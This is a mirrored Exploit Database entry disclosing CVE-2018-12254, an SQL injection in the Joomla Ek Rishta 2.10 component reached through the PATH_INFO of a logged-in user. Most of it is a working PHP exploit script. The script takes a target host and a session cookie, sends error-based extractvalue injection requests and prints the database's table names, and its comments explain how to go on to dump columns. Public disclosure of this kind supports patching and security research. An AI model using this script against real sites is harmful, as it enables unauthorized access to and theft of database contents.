Joomla! Component Ek Rishta 2.10 – SQL Injection

• Exploit Database
• 99 阅读

• 作者： Guilherme Assmann
  日期： 2018-06-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44893/

• # Title: SQL Injection Joomla Component Ek rishta 2.10 - SQL Injection
  # Date: 2018-06-14
  # Exploit Author: Guilherme Assmann
  # Vendor Homepage:https://www.joomla.org/
  # Version: 2.10
  # Tested on: MacOSX, Safari, Chrome
  # Download: https://extensions.joomla.org/extension/ek-rishta/
  # CVE: CVE-2018-12254
  
  # Vulnerability Description
  # To exploit this vulnerability, the user must be logged on to the platform!
  # the vulnerability allows SQL Injection via the
  # PATH_INFO to a home/requested_user/Sent%20interest/[username] URI.
  # more information(en): 
  # https://fireshellsecurity.team/cve-2018-12254-sql-injection-joomla-component/
  # more information(pt-br): https://m4k4br0.github.io/sql-injection-joomla-component/
  # more information: https://desecsecurity.com/
  # exploit code to dump tables:
  
  <?php
  
  // CVE-2018-12254
  
  // after dump the tables, use %60%23table_name%60 to dump columns...
  
  $host = $argv[1];
  $cookie = $argv[2];
  
  // Usage: php exploit.php [http://[HOST]/](http://[host]/) “Cookie: foo=bar”
  function exploit($host,$ck){
  $urls = sqli();
  $ch = curl_init();
  foreach($urls as $url){
  curl_setopt($ch,CURLOPT_URL,$host.$url);
  curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
  curl_setopt($ch,CURLOPT_USERAGENT,":)");
  curl_setopt($ch,CURLOPT_HTTPHEADER, [$ck]);
  curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,100);
  curl_setopt($ch,CURLOPT_TIMEOUT,100);
  $response = curl_exec($ch);
  $s =strpos($response,"#__");
  echo substr($response,$s,30)."\n";
  }
  }
  function sqli(){
  $uri = "/index.php/home/requested_user/Sent%20interest/1'or%20";
  for($i=0;$i<100;$i++){
  $value = $i+1;
  $data[$i] = $uri.str_replace("+","%20",urlencode('extractvalue(0xa,concat(0xa,(select table_name from information_schema.tables where table_schema=database() limit '.$value.',1))) #'));
  }
  return $data;
  }
  exploit($host,$cookie);
  ?>
  

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